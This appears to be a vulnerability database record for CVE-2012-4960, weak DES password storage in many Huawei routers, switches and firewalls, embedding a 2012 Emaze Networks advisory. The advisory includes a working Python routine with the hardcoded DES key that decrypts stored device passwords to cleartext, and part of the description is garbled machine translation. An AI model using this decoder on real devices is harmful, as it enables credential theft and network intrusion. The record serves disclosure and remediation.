ID

VAR-201306-0006

CVE

CVE-2012-4960

TITLE

Huawei networking equipment weak password cipher

DESCRIPTION

The Huawei NE5000E, MA5200G, NE40E, NE80E, ATN, NE40, NE80, NE20E-X6, NE20, ME60, CX600, CX200, CX300, ACU, WLAN AC 6605, S9300, S7700, S2300, S3300, S5300, S3300HI, S5300HI, S5306, S6300, S2700, S3700, S5700, S6700, AR G3, H3C AR(OEM IN), AR 19, AR 29, AR 49, Eudemon100E, Eudemon200, Eudemon300, Eudemon500, Eudemon1000, Eudemon1000E-U/USG5300, Eudemon1000E-X/USG5500, Eudemon8080E/USG9300, Eudemon8160E/USG9300, Eudemon8000E-X/USG9500, E200E-C/USG2200, E200E-X3/USG2200, E200E-X5/USG2200, E200E-X7/USG2200, E200E-C/USG5100, E200E-X3/USG5100, E200E-X5/USG5100, E200E-X7/USG5100, E200E-B/USG2100, E200E-X1/USG2100, E200E-X2/USG2100, SVN5300, SVN2000, SVN5000, SVN3000, NIP100, NIP200, NIP1000, NIP2100, NIP2200, and NIP5100 use the DES algorithm for stored passwords, which makes it easier for context-dependent attackers to obtain cleartext passwords via a brute-force attack. Huawei networking equipment use a DES encryption algorithm for password and encryption. DES is publicly known to be easily cracked. plural Huawei The product uses the stored password DES Because of the use of the algorithm, a vulnerability exists in which a plaintext password is obtained.Brute force attack by attacker (Brute force attack) You may be able to get a plaintext password via. Huawei is the world's leading provider of information and communication solutions. Huawei Quidway is a series of switches developed by Huawei. The Huawei CX600 is based on Huawei's mature VRP platform and has powerful routing, L2/L3 multicast, 5-level H-QoS, packet buffering, and ACL capabilities. Multiple Huawei products are prone to a weak password encryption weakness. Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks. The following are vulnerable: Huawei Quidway series Huawei CX600 V600R001 Huawei CX600 V600R003C00SPC900 Huawei ME60 V600R002C07 and prior versions AR 19/29/49 R2207 and prior versions. Weak password encryption on Huawei products =========================================== [ADVISORY INFORMATION] Title: Weak password encryption on Huawei products Release date: 13/11/2012 Credits: Roberto Paleari, Emaze Networks (roberto.paleari@emaze.net) Ivan Speziale, Emaze Networks (ivan.speziale@emaze.net) [VULNERABILITY INFORMATION] Class: Information disclosure [AFFECTED PRODUCTS] We confirm the presence of this security vulnerability on the following products: * Huawei Quidway series * Huawei CX600 Other models are probably also vulnerable, but they were not checked. As a consequence, passwords extracted from a victim's device can be deciphered instantaneously. A Python procedure that decodes a given password is included below. Upon termination, procedure decrypt_password() returns the clear-text password. <cut> from Crypto.Cipher import DES def decode_char(c): if c == 'a': r = '?' else: r = c return ord(r) - ord('!') def ascii_to_binary(s): assert len(s) == 24 out = [0]*18 i = 0 j = 0 for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 3]) y = (y | k) & 0xffffff out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8) & 0xff) out[j+0] = chr((y>>16) & 0xff) j += 3 return "".join(out) def decrypt_password(p): r = ascii_to_binary(p) r = r[:16] d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r) return r.rstrip("\x00") </cut> [REMEDIATION] We recommend to store passwords using a proper hashing algorithm, instead of leveraging symmetric encryption. Further details are available at the following URL: http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141 [COPYRIGHT] Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact. [DISCLAIMER] Emaze Networks S.p.A is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

encryption problem

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Roberto Paleari and Ivan Speziale from Emaze Networks

SOURCES

LAST UPDATE DATE

2024-09-09T23:07:12.342000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE